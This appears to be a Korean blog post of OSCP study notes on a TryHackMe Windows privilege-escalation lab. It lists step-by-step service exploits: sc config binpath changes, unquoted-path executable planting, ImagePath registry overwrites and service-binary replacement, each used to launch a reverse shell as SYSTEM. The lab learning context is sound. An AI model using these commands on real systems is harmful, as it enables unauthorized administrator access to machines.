Sercice Exploits은 Misconfiguration을 이용한 권한상승이기 때문에 해당 서비스들은 관리자 권한으로 실행되고 있어야한다.
- accesschk 프로그램으로 확인 또는 winPEASwinPEAS, powerUP 등 스크립트로 Enumeration 진행.
실제 환경에서는 일반 유저로 nc를 사용하여 쉘을 연결하여 진행되기 때문에
해당 취약점을 악용할려고하면 다른 포트의 리버스 쉘을 또 생성하여 연결시켜야 한다. (관리자nc spawn)
[Task 3] Service Exploits - Insecure Service Permissions
- 일반 유저가 서비스의 설정(프로그램 경로)를 수정할 수 있는 권한을 갖고 있을때,
오리지널에 대한 파일 경로를 악성프로그램으로 변경할 수 있는 취약점이다.
- daclsvc 서비스에 대해 user가 가지고 있는 권한 확인
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
- SERVICE_CHANGE_CONFIG 권한을 갖고 있어야 취약
- daclsvc 서비스를 조회하여 관리자 권한으로 실행되는 것을 체크
sc qc daclsvc
- SERVICE_START_NAME: SYSTEM privileges, localsystem
-
해당 서비스의 실행 경로를 리버스 쉘로 변경
sc config daclsvc binpath= ""C:\PrivEsc\reverse.exe"" -
서비스 스타트하여 관리자 권한으로 넷켓 연결
net start daclsvc
[Task 4] Service Exploits - Unquoted Service Path
1.시스템, 관리자 권한으로 실행중인 서비스 중 실행 경로의 path가 unquoted된 상태이며 스페이스가 존재하는 경우 취약. (지정된 경로가 실행파일이 아닌 스페이스로 인해 분리된 문자열 뒤에 .exe를 붙인 실행 파일을 실행하게 됨)
Original Path:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
-
Unquoted Path 위치에 악성코드 넣기
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" -
해당 서비스 재시작 => 관리자권한의 NC로 Pwn
net start [서비스명]
[Task 5] Service Exploits - Weak Registry Permissions
- accesschk 프로그램 또는 파워쉘을 통해 레지스트리에 Writable 권한이 있는 그룹을 확인한다.
HKLM\System\CurrentControlSet\Services[서비스명]
RW NT AUTHORITY\INTERACTIVE
KEY_ALL_ACCESS
-
생성한 리버스 쉘을 가리키도록 ImagePath 레지스트리 키를 덮어쓴다.
reg add HKLM\SYSTEM\CurrentControlSet\services[서비스명] /v ImagePath /t REG_EXPAND_SZ /d [쉘경로] /f -
서비스 시작
net start [서비스명]
[Task 6] Service Exploits - Insecure Service Executables
- 관리자권한으로 실행중인 서비스가 Everyone에 쓰기 권한이 존재하면 취약
sc qc filepermsvc
RW Everyone
File_ALL_ACCESS
-
악성코드를 오리지널 파일로 바꿈
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" / -
서비스 시작
net start [서비스명]
'OSCP > TryHackMe' 카테고리의 다른 글
[Linux] Lord of the Ring (0) | 2020.07.14 |
---|---|
Windows PrivEsc - Registry, Password, AutoRun, StartUp, GUI, token (0) | 2020.07.13 |
[Windows] ICE (0) | 2020.07.11 |
[Linux] Linux PrivEsc (0) | 2020.07.07 |
[Windows] Windows PrivEsc Arena (0) | 2020.06.14 |